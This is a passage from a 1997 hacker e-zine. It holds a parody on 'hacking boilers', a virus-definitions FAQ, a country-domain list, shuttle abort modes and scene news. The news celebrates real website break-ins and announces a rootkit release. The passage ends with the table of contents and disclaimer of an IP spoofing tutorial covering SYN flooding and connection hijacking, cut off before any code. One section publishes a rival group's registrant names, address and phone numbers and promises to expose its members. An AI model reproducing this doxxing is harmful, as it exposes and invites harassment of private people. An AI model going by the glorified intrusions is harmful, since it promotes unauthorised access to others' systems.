----------- WildFire -----------
----------- AWOL '97 -----------
�������������������������������������������������������������������������������
===============================================================================
==[ MISC ]=====================[ .SECTION D. ]=======================[ MISC ]==
===============================================================================
�������������������������������������������������������������������������������
1. Hacking Electrical Items Part 2, The Sequel : Tetsu Khan
�������������������������������������������������������������������������������
LAst TiME wE WuZ Hax0Rin' ToAsTAz, So foR Dis TiMe i BeeN ThINkin On WhUT wE
ShOUld hAx0R, aNd I ThOUghT, "eYe WiLL WrItE AbOuT....BOiLAhS!!! YeS, ThOsE
boILaHs yEw FiNd In yOuR BaSEmEnt!!" AnD So I StArTed To pLaY ArouND WifF Muh
BoiLAh AT h0me, NoW Yew caN REwt YoUr BoILah Tew!!!
FiNDiNg OuT dA OS ThaT ThA BoiLaH iZ RuNNiN'
--------------------------------------------
yEw Can DeW ThIS 3 WayZ...
1: LeWk FoR a StIcKA On It DaT Sez.
2: FiNd A CoNsOle On DA BoiLAh, ThEn, If IT hAs A kEYbOArd (DepEndZ oN
MaNuFAcTuReR) tYpE "uname -a" AnD It WiLL Tell YeW!
3: FiNd Da ManUaL FoR YouR BOilaH (easiest way)
WhEn YoU KnOw YoUr BoILaHs oPeRATinG SyStEm, yEw cAN PRocEEd To Hax0R It...
---------------------------------------------------------------------------
Hax0RinG a BoILaH KaN BeE VeRy DangERous, LiKE Hax0Rin' A nuKelear PoWaHH
sTAtIon, So MaKe sHuRe YeW dO ThE fOLLowiNG...
1: PuT oN PrOtECtivE CloThInG, LikE GloVeS, AnD a hAT, aNd MaYBe a sCarF,
tHis Is BeCoS BaSEmEnts CaN bE CooOLD, aNd YEw WouLDnt WanT To CaTch A
ChiLL wOULd YeW?
2: MaKE ShURe YeW HaVE A SpAnnEr Or WreNCH, As YoU WiLL NeEd ThEsE tO FiNd
hIdDEn pOrTz AnD TeW Eye-PeE SpoOF fRom TruSteD HoStS (liKe a SinK, oR
A pIpE, Or A WaSHing MaChInE)
LiKE WiV ToAsTeRz, We wILL fiRsT nEeD tO FiNd HiDDeN PoRtS, So wE NeEd To
ScAn FoR tHem, bOilAhz ArE BiGGer tHan tOASterz, sO ThiS MaY tAke SoMe TiMe.
YeW cAn LeWk FoR SucH HiDDen PoRtS bY dOIng ThEsE tHinGs...
1: LeWKiNg ArOunD ThE BoILaH wIV yOUR EyeS.
2: TrAcInG PiPeS aLL ArOuND yOuR hOuSe (bit like traceroute programs do)
3: UsInG StEalTh TEkNiquEs By HidInG ArOuND yOuR hOuSE AnD LIsTENinG fOr
WaTeR, liKE FrOm TaPs aNd StUFf...
If YoU dOnT FiNd AnY HIdDen PoRtS, ThEN YeW cAN JuST LoGiN FrOM a WaSHiNG
MaChIne, Or OtHeR tRUstEd HoSt On ThE NeTwOrK, wHeN yOu COnnEcT tO tHa
BoiLaH FRoM tHe WasHiNg MaChINe YeW wiLL sEe sOmeThInG LiKe ThIs...
+-------------------+
| GEneRaL eLeKTrIk |
| M:0225 |
| S:b4588 |
| T:02 |
+-------------------+
BoiLaH OS RelEasE 2.54 (bIg BaAAadAss BoILaH)
login: BoiLaH
password: <--- We AttEmPtid ThE DeFauLt "BoiLaH"
------------------------------------------------------------
L0ghINn GRaNTiD
***************
------------------------------------------------------------
WeLKoMe To bOiLAh
[BOPR]
bOiLiNg OpErAtIoNS PlaN rEsPonSe
------------------------------------------------------------
login on tty[wAShInG mAcHiNE]
last login from BaTHrEwm.COM on tty[ShOwEr] at 7:43p.m.
1: sHuTDoWn
2: CoLd WaTeR
3: hOt wAtEr
4: UNiX TyPE SheLL ENViRONMEnT
If YeW GhET THiS YEW ArE COOL)(#*$ Ok NoW CHEwZe NuMbAhh 4, ThEn YeWsE
ThIS uniVeRSaL BoiLAhh ExPLoiT...
% fuck yew eye am eleet and k-r4d 'cos muh name iz ZeroCool!
fuck : command not found
% whoami
root
%
tHe bEst tImEs To ReWT BoILaHs Is lAtE aT nIgHt WhEn No-OnE Is LOggEd-In, CoS
In ThA dAY, yEw GEt uSeRs LoGgEd iN To DoWLoAd WatEr AnD ShIt.
eYe WiLL KoNItuE wItH oTheR ExAMplEs NeXt TiMe!
T_K
�������������������������������������������������������������������������������
2. Virus Definitions : so1o
�������������������������������������������������������������������������������
This is for all you lame fucks out there who say I infect your systems with
viruses, even when the only malicious shit I code are Windoze killers, anyway
here are a few definitions, just so you know what you're on about next time =)
What are computer viruses (and why should I worry about them)?
--------------------------------------------------------------
According to Fred Cohen's well-known definition, a COMPUTER VIRUS is a
computer program that can infect other computer programs by modifying
them in such a way as to include a (possibly evolved) copy of itself.
Note that a program does not have to perform outright damage (such as
deleting or corrupting files) in order to to be called a "virus".
However, Cohen uses the terms within his definition (e.g. "program"
and "modify") a bit differently from the way most anti-virus
researchers use them, and classifies as viruses some things which most
of us would not consider viruses.
Many people use the term loosely to cover any sort of program that
tries to hide its (malicious) function and tries to spread onto as
many computers as possible. (See the definition of "Trojan".) Be
aware that what constitutes a "program" for a virus to infect may
include a lot more than is at first obvious - don't assume too much
about what a virus can or can't do!
These software "pranks" are very serious; they are spreading faster
than they are being stopped, and even the least harmful of viruses
could be fatal. For example, a virus that stops your computer and
displays a message, in the context of a hospital life-support
computer, could be fatal. Even those who created the viruses could
not stop them if they wanted to; it requires a concerted effort from
computer users to be "virus-aware", rather than the ignorance and
ambivalence that have allowed them to grow to such a problem.
What is a Trojan Horse?
-----------------------
A TROJAN HORSE is a program that does something undocumented which the
programmer intended, but that the user would not approve of if he knew
about it. According to some people, a virus is a particular case of a
Trojan Horse, namely one which is able to spread to other programs
(i.e., it turns them into Trojans too). According to others, a virus
that does not do any deliberate damage (other than merely replicating)
is not a Trojan. Finally, despite the definitions, many people use
the term "Trojan" to refer only to a *non-replicating* malicious
program, so that the set of Trojans and the set of viruses are
disjoint.
What are the main types of PC viruses?
--------------------------------------
Generally, there are two main classes of viruses. The first class
consists of the FILE INFECTORS which attach themselves to ordinary
program files. These usually infect arbitrary .COM and/or .EXE
programs, though some can infect any program for which execution is
requested, such as .SYS, .OVL, .PRG, & .MNU files.
File infectors can be either DIRECT ACTION or RESIDENT. A direct-
action virus selects one or more other programs to infect each time
the program which contains it is executed. A resident virus hides
itself somewhere in memory the first time an infected program is
executed, and thereafter infects other programs when *they* are
executed (as in the case of the Jerusalem) or when certain other
conditions are fulfilled. The Vienna is an example of a direct-action
virus. Most other viruses are resident.
The second category is SYSTEM or BOOT-RECORD INFECTORS: those viruses
which infect executable code found in certain system areas on a disk
which are not ordinary files. On DOS systems, there are ordinary
boot-sector viruses, which infect only the DOS boot sector, and MBR
viruses which infect the Master Boot Record on fixed disks and the DOS
boot sector on diskettes. Examples include Brain, Stoned, Empire,
Azusa, and Michelangelo. Such viruses are always resident viruses.
Finally, a few viruses are able to infect both (the Tequila virus is
one example). These are often called "MULTI-PARTITE" viruses, though
there has been criticism of this name; another name is "BOOT-AND-FILE"
virus.
FILE SYSTEM or CLUSTER viruses (e.g. Dir-II) are those which modify
directory table entries so that the virus is loaded and executed
before the desired program is. Note that the program itself is not
physically altered, only the directory entry is. Some consider these
infectors to be a third category of viruses, while others consider
them to be a sub-category of the file infectors.
What is a stealth virus?
------------------------
A STEALTH virus is one which hides the modifications it has made in
the file or boot record, usually by monitoring the system functions
used by programs to read files or physical blocks from storage media,
and forging the results of such system functions so that programs
which try to read these areas see the original uninfected form of the
file instead of the actual infected form. Thus the viral modifications
go undetected by anti-viral programs. However, in order to do this,
the virus must be resident in memory when the anti-viral program is
executed.
Example: The very first DOS virus, Brain, a boot-sector infector,
monitors physical disk I/O and re-directs any attempt to read a
Brain-infected boot sector to the disk area where the original boot
sector is stored. The next viruses to use this technique were the
file infectors Number of the Beast and Frodo (= 4096 = 4K).
Countermeasures: A "clean" system is needed so that no virus is
present to distort the results. Thus the system should be built from
a trusted, clean master copy before any virus-checking is attempted;
this is "The Golden Rule of the Trade." With DOS, (1) boot from
original DOS diskettes (i.e. DOS Startup/Program diskettes from a
major vendor that have been write-protected since their creation);
(2) use only tools from original diskettes until virus-checking has
completed.
What is a polymorphic virus?
----------------------------
A POLYMORPHIC virus is one which produces varied (yet fully
operational) copies of itself, in the hope that virus scanners
will not be able to detect all instances of the virus.
One method to evade signature-driven virus scanners is self-encryption
with a variable key; however these viruses (e.g. Cascade) are not
termed "polymorphic," as their decryption code is always the same and
thus can be used as a virus signature even by the simplest, signature-
driven virus scanners (unless another virus or program uses the
identical decryption routine).
One method to make a polymorphic virus is to choose among a variety of
different encryption schemes requiring different decryption routines:
only one of these routines would be plainly visible in any instance of
the virus (e.g. the Whale virus). A signature-driven virus scanner
would have to exploit several signatures (one for each possible
encryption method) to reliably identify a virus of this kind.
A more sophisticated polymorphic virus (e.g. V2P6) will vary the
sequence of instructions in its copies by interspersing it with
"noise" instructions (e.g. a No Operation instruction, or an
instruction to load a currently unused register with an arbitrary
value), by interchanging mutually independent instructions, or even by
using various instruction sequences with identical net effects (e.g.
Subtract A from A, and Move 0 to A). A simple-minded, signature-based
virus scanner would not be able to reliably identify this sort of
virus; rather, a sophisticated "scanning engine" has to be constructed
after thorough research into the particular virus.
The most sophisticated form of polymorphism discovered so far is the
MtE "Mutation Engine" written by the Bulgarian virus writer who calls
himself the "Dark Avenger". It comes in the form of an object module.
Any virus can be made polymorphic by adding certain calls to the
assembler source code and linking to the mutation-engine and
random-number-generator modules.
The advent of polymorphic viruses has rendered virus-scanning an ever
more difficult and expensive endeavor; adding more and more search
strings to simple scanners will not adequately deal with these
viruses.
What is a companion virus?
--------------------------
A COMPANION virus is one which, instead of modifying an existing file,
creates a new program which (unknown to the user) gets executed by the
command-line interpreter instead of the intended program. (On exit,
the new program executes the original program so that things will
appear normal.) The only way this has been done so far is by creating
an infected .COM file with the same name as an existing .EXE file.
Note that those integrity checkers which look only for *modifications*
in *existing* files will fail to detect such viruses.
(Note that not all researchers consider this type of malicious code
to be a virus, since it does not modify existing files.)
Miscellaneous Jargon and Abbreviations
--------------------------------------
BSI = Boot Sector Infector: a virus which takes control when the
computer attempts to boot (as opposed to a file infector).
CMOS = Complementary Metal Oxide Semiconductor: A memory area that is
used in AT and higher class PCs for storage of system information.
CMOS is battery backed RAM (see below), originally used to maintain
date and time information while the PC was turned off. CMOS memory
is not in the normal CPU address space and cannot be executed. While
a virus may place data in the CMOS or may corrupt it, a virus cannot
hide there.
DOS = Disk Operating System. We use the term "DOS" to mean any of the
MS-DOS, PC-DOS, or DR DOS systems for PCs and compatibles, even
though there are operating systems called "DOS" on other (unrelated)
machines.
MBR = Master Boot Record: the first Absolute sector (track 0, head 0,
sector 1) on a PC hard disk, that usually contains the partition table
(but on some PCs may simply contain a boot sector). This is not the
same as the first DOS sector (Logical sector 0).
RAM = Random Access Memory: the place programs are loaded into in
order to execute; the significance for viruses is that, to be active,
they must grab some of this for themselves. However, some virus
scanners may declare that a virus is active simply when it is found
in RAM, even though it might be simply left over in a buffer area of
RAM rather than truly being active.
TOM = Top Of Memory: the end of conventional memory, an architectural
design limit at the 640K mark on most PCs. Some early PCs may not
be fully populated, but the amount of memory is always a multiple of
64K. A boot-record virus on a PC typically resides just below this
mark and changes the value which will be reported for the TOM to the
location of the beginning of the virus so that it won't get
overwritten. Checking this value for changes can help detect a
virus, but there are also legitimate reasons why it may change.
A very few PCs with unusual memory managers/settings may
report in excess of 640K.
TSR = Terminate but Stay Resident: these are PC programs that stay in
memory while you continue to use the computer for other purposes;
they include pop-up utilities, network software, and the great
majority of viruses. These can often be seen using utilities such as
MEM, MAPMEM, PMAP, F-MMAP and INFOPLUS.
�������������������������������������������������������������������������������
3. Fun With whois, sinnerz.com : so1o
�������������������������������������������������������������������������������
Lewk WhuT eyE FoUnd...
phish:~> whois sinerz.com
[rs.internic.net]
SIN (SINNERZ3-DOM)
130 105th Ave. S.E. Apt. 218
Bellevue, Wa 98004
USA
Domain Name: SINNERZ.COM
Administrative Contact:
Kimminau, Suzette (SK2455) [email protected]
(206)454-7176
Technical Contact, Zone Contact:
Schmittel, Blair (BS469) [email protected]
(801)654-3139
Record last updated on 26-Mar-97.
Record created on 26-Mar-97.
Domain servers in listed order:
STRECH.CYBER-NAUT.COM 192.41.77.5
ITIS.EASILINK.COM 192.41.78.2
The InterNIC Registration Services Host contains ONLY Internet Information
(Networks, ASN's, Domains, and POC's).
Please use the whois server at nic.ddn.mil for MILNET Information.
phish:~> fwhois [email protected]
[nic.ddn.mil]
No match for "SINNERZ.COM".
Please be advised that this whois server only contains DOD Information.
All INTERNET Domain, IP Network Number, and ASN records are kept in
the Internet Registry, RS.INTERNIC.NET.
-------------------------------------------------------------------------------
=--> S.I.N : [S] cared sh [I] tless lame fucks not-so-a [N] onymous. <--=
-------------------------------------------------------------------------------
If sIn play this down as fake, why not phone up Evil Chic and ask if Suzey is
there? You will soon find out the truth =) Expect details of all sIn members
soon.
�������������������������������������������������������������������������������
4. Hacking Space Shuttles, Abort Codes : NailGun
�������������������������������������������������������������������������������
Okay, if you ever decide to hack a space shuttle (*.arc.nasa.gov is hacked very
frequently) and you actually plan it all out, make sure you collect all the
parts of this "mini-guide" of little things that are important and you will need
to know, this section concerns....
SPACE SHUTTLE ABORT MODES
-------------------------
Space Shuttle launch abort philosophy aims toward safe and intact
recovery of the flight crew, orbiter and its payload.
Abort modes include:
* Abort-To-Orbit (ATO) -- Partial loss of main engine thrust late enough
to permit reaching a minimal 105-nautical mile orbit with orbital
maneuvering system engines.
* Abort-Once-Around (AOA) -- Earlier main engine shutdown with the
capability to allow one orbit around before landing at Edwards Air
Force Base, Calif.; White Sands Space Harbor (Northrup Strip), N.M.;
or the Shuttle Landing Facility (SLF) at Kennedy Space Center, Fla..
* Trans-Atlantic Abort Landing (TAL) -- Loss of two main engines midway
through powered flight would force a landing at Banjul, The Gambia;
Ben Guerir, Morocco; or Moron, Spain.
* Return-To-Launch-Site (RTLS) -- Early shutdown of one or more engines
and without enough energy to reach Banjul would result in a pitch
around and thrust back toward KSC until within gliding distance of the
SLF.
STS-35 contingency landing sites are Edwards AFB, White Sands,
Kennedy Space Center, Banjul and Ben Guerir, Moron.
Next time we will probably look at the payloads of space shuttles, l8r.
�������������������������������������������������������������������������������
5. Country Domain Listing : SirLance
�������������������������������������������������������������������������������
Listing Of Domains By Country, like *.fr *.uk etc. etc.
AD - Andorra - Andorre
AE - Imarata al Arabiya al Muttahidah - Ittihad al Imirat alArabiya - United Arab Emirates
AF - Afghanistan - Afghanestan
AG - Antigua and Barbuda
AI - Anguilla
AL - Shqipëria - Albania
AM - Armenia - Hayastan
AN - Netherlands Antilles - Nederlandse Antillen
AO - Angola
AQ - Antarctica
AR - Argentina
AS - American Samoa
AT - Austria - Osterreich
AU - Australia
AW - Aruba
AZ - Azerbaijan - Azerbaycan
BA - Bosnia and Herzegovina - Bosna i Hercegovina
BB - Barbados
BD - Bangladesh
BE - Belgium - Belgique - Belgie
BF - Burkina
BG - Bulgaria
BH - Bahrain - Bahrayn
BI - Burundi
BJ - Benin
BM - Bermuda
BN - Brunei
BO - Bolivia
BR - Brazil - Brasil
BS - Bahamas
BT - Bhutan
BV - Bouvet Island - Bouvetoya
BW - Botswana
BY - Belarus - Byelarus'
BZ - Belize
CA - Canada
CC - Cocos (Keeling) Islands (Australia)
CF - Central Africa
CG - Congo
CH - Switzerland - Schweiz - Suisse - Svizzera - Svizra - Helvetia
CI - Cote d'Ivoire
CK - Cook Islands
CL - Chile
CM - Cameroon
CN - China
CO - Colombia
CR - Costa Rica
CS - Czechoslovakia
CU - Cuba
CV - Cape Verde - Cabo Verde
CX - Christmas Island (Australia)
CY - Cyprus
CZ - Czech Republic - Cechy
DD - Germany - Deutschland
DE - Germany - Deutschland
DJ - Djibouti
DK - Denmark - Danmark
DM - Dominica
DO - Dominican Republic - Republica Dominicana
DZ - Algeria - Jaza'ir
EC - Ecuador
EE - Estonia - Eesti
EG - Egypt - Misr
EH - Western Sahara
ER - Eritrea
ES - Spain - Espana
ET - Ethiopia - Ityop'iya
FI - Finland - Suomi
FJ - Fiji
FK - Falkland Islands
FM - Micronesia
FO - Faroe Islands - Faroyar
FR - France
FX - Metropolitan France
GA - Gabon
GB - United Kingdom
GD - Grenada
GE - Georgia - Sak'art'velo
GF - French Guiana - Guyane
GH - Ghana
GI - Gibraltar (UK)
GL - Greenland - Kalaallit Nunaat
GM - The Gambia
GN - Guinea - Guinee
GP - Guadaloupe (France)
GQ - Equatorial Guinea - Guinea Ecuatorial
GR - Greece - Ellas
GS - South Georgia
GT - Guatemala
GU - Guam
GW - Guinea-Bissau - Guine-Bissau
GY - Guyana
HK - Hong Kong (UK)
HM - Heard Island and McDonald Islands (Australia)
HN - Honduras
HR - Croatia - Hrvatska
HT - Haiti
HU - Hungary - Magyarorszag
ID - Indonesia
IE - Ireland - Éire
IL - Israel - Yisra'el
IN - India - Bharat
IO - Indian Ocean Territory (UK)
IQ - Iraq
IR - Iran
IS - Island - Iceland
IT - Italy - Italia
JM - Jamaica
JO - Jordan - Urdun
JP - Japan
KE - Kenya
KG - Kyrgyzstan
KH - Cambodia - Kampuchea
KI - Kiribati
KM - Comoros - Comores
KN - Saint Kitts and Nevis
KP - Korea - Choson
KR - Korea
KW - Kuwait - Kuwayt
KY - Cayman Islands
KZ - Kazakhstan
LA - Laos
LB - Lebanon - Lubnaniyah
LC - Saint Lucia
LI - Liechtenstein
LK - Sri Lanka
LR - Liberia
LS - Lesotho
LT - Lithuania - Lietuva
LU - Luxembourg
LV - Latvia - Latvija
LY - Libya - Libiya
MA - Morocco - Maghrib
MC - Monaca
MD - Moldova
MG - Madagascar
MH - Marshall Islands
MK - Macedonia - Makedonija
ML - Mali
MM - Burma - Myanma
MN - Mongolia - Mongol Uls
MO - Macau
MP - Northern Mariana Islands
MQ - Martinique (France)
MR - Mauritania - Muritaniyah
MS - Montserrat
MT - Malta
MU - Mauritius
MV - Maldives
MW - Malawi
MY - Malaysia
MZ - Mozambique - Mocambique
NA - Namibia
NC - New Caledonia - Nouvelle-Caledonie
NE - Niger
NF - Norfolk Island (Australia)
NG - Nigeria
NI - Nicaragua
NL - Netherlands - Nederland
NO - Norway - Norge
NP - Nepal
NR - Nauru
NU - Niue
NZ - New Zealand
OM - Oman - Uman
PA - Panama
PE - Peru
PF - French Polynesia - Polynesie Francaise
PG - Papua New Guinea
PH - Philippines - Pilipinas
PK - Pakistan
PL - Poland - Polska
PM - Saint-Pierre et Miquelon
PN - Pitcairn Islands
PR - Puerto Rico
PT - Portugal
PW - Palau - Belau
PY - Paraguay
QA - Qatar
RE - Reunion
RO - Romania
RU - Russia - Rossiya
RW - Rwanda
SA - Saudi Arabia - Arabiya as Suudiyah
SB - Solomon Islands
SC - Seychelles
SD - Sudan
SE - Sweden - Sverige
SG - Singapore - Singapura
SH - Saint Helena (UK)
SI - Slovenia - Slovenija
SJ - Svalbard og Jan Mayen
SK - Slovakia - Slovensko
SL - Sierra Leone
SM - San Marino
SN - Senegal
SO - Somalia
SR - Suriname
ST - Sao Tome e Principe
SU - Soviet Union - Sovietskiy Soyuz
SV - El Salvador
SY - Syria - Suriyah
SZ - Swaziland
TC - Turks and Caicos Islands
TD - Chad - Tchad
TF - Southern and Antarctic Lands - Terre Australes et Antarctiques
TG - Togo
TH - Thailand
TJ - Tajikistan - Tojikiston
TK - Tokelau (New Zealand)
TM - Turkmenistan - Tiurkmenostan
TN - Tunisia - Tunis
TO - Tonga
TP - Timor
TR - Turkey - Turkiye
TT - Trinidad and Tobago
TV - Tuvalu
TW - Taiwan - T'ai-wan
TZ - Tanzania
UA - Ukraine - Ukrayina
UG - Uganda
UM - United States Minor Outlying Islands
US - United States of America
UY - Uruguay
UZ - Uzbekistan - Uzbekiston
VA - Holy See
VC - Saint Vincent and the Grenadines
VE - Venezuela
VG - Virgin Islands (UK)
VI - Virgin Islands (USA)
VN - Vietnam - Viet Nam
VU - Vanuatu
WF - Wallis et Futuna
WS - Samoa
YD - Yemen
YE - Yemen
YT - Mayotte (France)
YU - Yugoslavia
ZA - South Africa
ZM - Zambia
ZR - Zaire
ZW - Zimbabwe
�������������������������������������������������������������������������������
===============================================================================
==[ NEWS ]=====================[ .SECTION E. ]=======================[ NEWS ]==
===============================================================================
�������������������������������������������������������������������������������
1. CoreWars : so1o / od|phreak
�������������������������������������������������������������������������������
od|phreak was telling me about an idea he had, then called just "Hacker Wars"
it was about teams, or groups of hackers who had a league system and hacked
each others systems to gain points...
We both made sets of rules and decided on a name also, CoreWars...Here are the
rules as to date :
- 6 hackers per team.
- Each team has 2 systems.
- The systems must run linux, and be up 24/7.
- The game is played from a friday at
midnight to a sunday at midnight (48 hours).
- On systems owned by the team, each user may have one
account, with any systems priveleges.
- Each team has 1 account on each enemy system
- 2.5mb quota per account
- must be a normal user
Rules :
-------
- super users on opposing teams are NOT allowed to
intervine with other hackers, this includes killing,
writing to their terminals, or disturbing them in
any way shape or form, however, super users are
allowed to use snoop and other programs to monitor
opposing team members, but they cannot DIRECTLY
step in and kill the user. super users CANNOT delete
files created by the opposing team members, however
they ARE allowed to delete files if they have been
MODIFIED, like /etc/motd.
- teams conquer a system by forcing it to be shut down,
switched off, or any other measure that prevents
persons from connecting or using that system. This
can include rm'ng the hard drive or any other suitable
measure.
The Winning Team Is The Last Team With A System That
Has Not Been Shut Down.
if you shut a system down : 100 points
if your system gets shut down : -50 points
if you keep both of your systems up : 25 points
if you lose both of your systems : -25 points
On Sunday midnight, all points are worked out, and
the league positions are calculated.
These Rules Are Currently Being Changed : http://www.neonunix.org/corewars/
Suggestions to myself or od|phreak...
So, if you have a team of 6 that you would like to enter in CoreWars, mail
corewars@ with your team
name, details, system IP and other relevant information...
�������������������������������������������������������������������������������
2. Technophoria Want A Piece Of CodeZero Too? : so1o
�������������������������������������������������������������������������������
Technophoria, based at www.technophoria.com, did *NOT* hack our webpage at
www.neonunix.org/codezero/ as i dont even have a l/p to neonunix.org, anyway,
they uploaded this shiznit to the page, obviously with neonunix's account,
which is the only one on the system...
Dont talk shit about Technophoria
-Particle Man
Hmmm, who the fuck is Particle Man?! last time I checked the Technophoria member
list it had...
Deprave
BroncBuster
Sludge
Acid Angel
Modify
The Messiah
Banshee
Now, I dont get on well with Modify or The Messiah (who are in like, 3 other
groups each) but Deprave is a good friend, Sludge and Acid I have never met
and Bronc is cool. I dont know whats goin down wit that shit, but the last
thing I need is some punk trying to say that I write shit about Technophoria,
seeing I have never written a thing about them, but anyway, if you do visit
the Technophoria WWW site, you will see that sIn and Technophoria are working
on the same project with the same people, Utopia (mentioned in the last issue
by *OD�PHREAK*) I wonder who will take the credit and / or release the actual
program, hmm..I talked to The Messiah...
Utopia will be a encryption utility, release by
SIN/Technophoria, written by The Messiah and Fucking Hostile.
No release date is given.
encryption util?
for what purposes?
Encrypting files, clipboard, and an editor, like Puffer.
thru windoze?
Yes.
ahh
16 bit.
With plans for a 32 bit version.
because doesnt pgp do that and alot more?
No, it doesn't.
what kind of encryption are we talking about?
PGP only uses ONE algorithm, IDEA.
About 16 different algorithms.
and yours will use?
RC4, RC5, IDEA, Blowfish, DES, SuperIDEA...
I'm still looking into that...
isnt that just ripping other peoples shit?
blatently
No.
If so then PGP is ripping.
Puffer is ripping.
The source for almost all algorihtms is released.
So ppl can evaluate it..
what about RC5 source then?
Have it.
okay...
so you have all your algorithms
RSA condones non-commercial use of RC4 and RC5.
Pretty much.
but how will the program work then?
Right now I'm wondering which algorihtms to put into it.
will it have secret keys and public keys like pgp
?
You select an algorihtm, files, and hit encrypt...
No, symetric key encryption.
One password...
isnt that a bit unsecure?
I'm making a public key encryption program later on...
No, it isn't.
seeing then the password will have to be given to the other user
over a medium such as IRC
You can't transmit keys, true...
which can be logged
But this isn't for communication as much as file storgae...
People can use PGP to transmit keys...
so what will the program include?
Hmmm... what won't it?
I'm hoping to include some steganography in it...
It'll be something like Puffer, only WAY better...
okzy
1st release will be 16-bit
right?
Yes...
will it have any problems running thru 95 / NT
?
Nope.
I'm using Win95...
will users need .dll files to run it?
One.
But that'll come included...
No VB bullshit...
It's made in Delphi, so the runtime library is in the EXE...
delphi
i code borland c++
Get C++ Builder then...
i plan on doing so
Like Delphi, but uses C++...
okie, l8r
cya
�������������������������������������������������������������������������������
3. Global kOS News And Questions / Answers : Spidey
�������������������������������������������������������������������������������
There have been several rumors circulating about what happened to us since
globalkos.org went down. They range from us being busted by feds to
stories about purple shrouds and phenobarbital. There have also been
rumors about dissention among our ranks and group infighting.
Q: What happened to globalkos.org? Did the feds shut it down? Did their
ISP shut it down? Did they move their site to keep it hidden?
A: Half of us didn't feel like paying for it. We weren't shut down, nor
is the site hidden out there somewhere. We're looking into alternatives.
Q: Did Acid Angel leave GkOS for Technophoria?
A: No. He is working with the guys at Technophoria, but he is still a part
of Global kOS.
Q: Did Silicon Toad leave the group altogether?
A: Somebody came up with this one on the basis of a broken link at
globalkos.org. ST moved his site, and no one bothered to update the link.
Through some stretch of logic this guy decided it meant ST split.
Q: What about Up Yours 4?
A: It's slated for release on March 30th.
Q: Did GkOS get busted?
A: No.
Q: I thought Cobra (Vortex, Morbid Disorder, Kludge, or Ryan) was a member of
GkOS.
A: I've never even heard of these people. They are not present, nor
former members.
Our members are:
Acid Angel
Glitch
Materva
Raven
Shadow Hunter
Silicon Toad
Spidey
That Guy
Zaven
Q: I heard there was a major disagreement within the group, and there's a
civil war going on between them. Is it true?
A: No. This is completely unfounded. Whoever started this one pulled it
straight out of his ass.
�������������������������������������������������������������������������������
4. www.ncaa.com Hack Makes News : so1o
�������������������������������������������������������������������������������
Conflict member TiK hacked www.ncaa.com, he made TV news, papers, and big
internet news, statements from the NCAA and other organisations can be found
on www.infowar.com, so1o never believed TiK would or could hack such a site
due to the high security levels, but good 'ole TiK proved us all wrong, expect
the index.html s00n!
�������������������������������������������������������������������������������
5. CodeZero To Release sunOS 5.x RootKit : so1o
�������������������������������������������������������������������������������
Yeah, werkin' on it, lewkout!!
�������������������������������������������������������������������������������
6. Too Many nethosting.com Break-Ins : so1o
�������������������������������������������������������������������������������
www.hawkee.com and many other "vservers" at nethosting.com have been hacked
or attacked, like sinnerz.com (although no damage was done to the site) and
so the admin at nethosting can't be very happy with their security, I was
talking to hawkee about the hacks into his system by two members of the
CodeZero (thats what the numbers stood for - minus 2 from each, turn the 0
into a 26, then 1 = A, 2 = B, 3 = C etc. = CODEZERO) and he was saying that
newhosting had really boosted their secruity, this was also the case when
access to cough-syrup.nethosting.com was gained by one single hacker, as after
the attack, the sendmail version was pumped from 8.8.4 to 8.8.5, nethosting are
also considering taking action to prevent certain hosts from having access to
the system.
�������������������������������������������������������������������������������
7. sulfur of #hack to print a bi-monthly magazine : so1o
�������������������������������������������������������������������������������
Access Denied will be printed by sulfur (Edward Givings) of #hack, free copies
will be distributed at Beyond Hope, it will be bi-monthly, so you get 6 issues a
year, as opposed to 4 of 2600, look out for it...
�������������������������������������������������������������������������������
8. 2600 printers go bust and take $9000 : so1o
�������������������������������������������������������������������������������
The latest news is that the 2600 printers have gone bust, and taken $9000 of
the 2600's money with them, Winter edition of 2600 might not come out.
emmilio can't be very happy can he?
�������������������������������������������������������������������������������
===============================================================================
==[ PROJECTS ]=================[ .SECTION F. ]===================[ PROJECTS ]==
===============================================================================
�������������������������������������������������������������������������������
.:. The CodeZero In Assosiation With Dr_Sp00f Presents .:.
.:. A Confidence Remains High Production .:.
�������������������������������������������������������������������������������
-=[ A short (yea right - T_K) overview of IP spoofing: PART I ]=-
-=[ Part of Dr_sp00f's Packet Project']=-
(Includes Source for Linux 1.3.X and later kernels)
All text and Source code written by Dr_Sp00f himself (Copyright 1997)
All source tested on Linux kernel 2.0.X
All packet data captured with Sniffit 0.3.2 (a pre-release at that time)
�������������������������������������������������������������������������������
PART I: Simple spoofing (Non blind)
-----------------------------------
0. Introduction
0.1 What
0.2 For whom
0.3 Disclaimer
0.4 Licence
1. Short explanation of some words
2. Description of sourcecode
2.1 Source included
2.2 Programmer notes
3. TCP/IP (UDP) in an hazelnutshell
4. Non-blind spoofing
4.1 Know what you are doing
4.2 SYN flooding
4.3 Connection Killing
4.3.1 Using reset (RST)
4.3.2 Closing a connection (FIN)
4.3.3 Improving
4.4 Connection Hijacking
4.5 Other
5. The source code
�������������������������������������������������������������������������������
PART I: Simple spoofing (Non blind)
�������������������������������������������������������������������������������
0. Introduction
---------------
0.1 What
--------
This document describes some IP spoofing attacks and gives you example
source code of the programs used for these attacks (and packet sniffer
logs, so you see what exactly happens).
It also provides you with an easy to use include file for experimenting a
little yourself.
Oh, if you make something nice with the "spoofit.h" file, please mail it to me
(or a reference where it is available) with a little explanation on what it
is (a few lines are enough)...
If you have interesting remarks, comment, idea's, ... please contact me
[email protected]
If YOU think of yourself, you are "3>/dev/null or >/dev/echo depends on how smart you are.
It is not wise to use what you don't know/understand, so read this before
trying anything... it will only take a few minutes, and probably save you
some hours of failure...
This code is not crippled in the usual way (removing some vital parts),
the power is limited by it's briefness, because I wanted to keep
everything simple and illustrative (but working). It's a simple job to
improve it, and that is the goal of this doc, that you improve it yourself.
Special thx to |ExcEEd| and theJUdgE also to all those ppl who deserve
it.
0.2 For whom
------------
For people with an elementary knowledge of TCP/IP, some knowledge on C (only
the basic setup) and some general UNIX knowledge.
It's no use reading this document if you are completely unaware of these
things, but mind you, only a little knowledge is enough.
0.3 Disclaimer
--------------
I am in no way responsible for the use of this code. By using this
software and reading this document you accept the fact that any damage
(emotional, physical, dataloss and the end of the world as we know it ...)
caused by the use or storage of these programs/documents is not MY
responsability.
I state that during the writing and testing of this document/source, I
never violated any law. All spoofing was done between machines where I had
legit root access, or where I had the permission from the legit root.
This code can be written by any competent programmer, so this source is
not so harmfull as some will say (cauz' I'm sure some people won't like
this degree of disclosure).
0.4 Licence
-----------
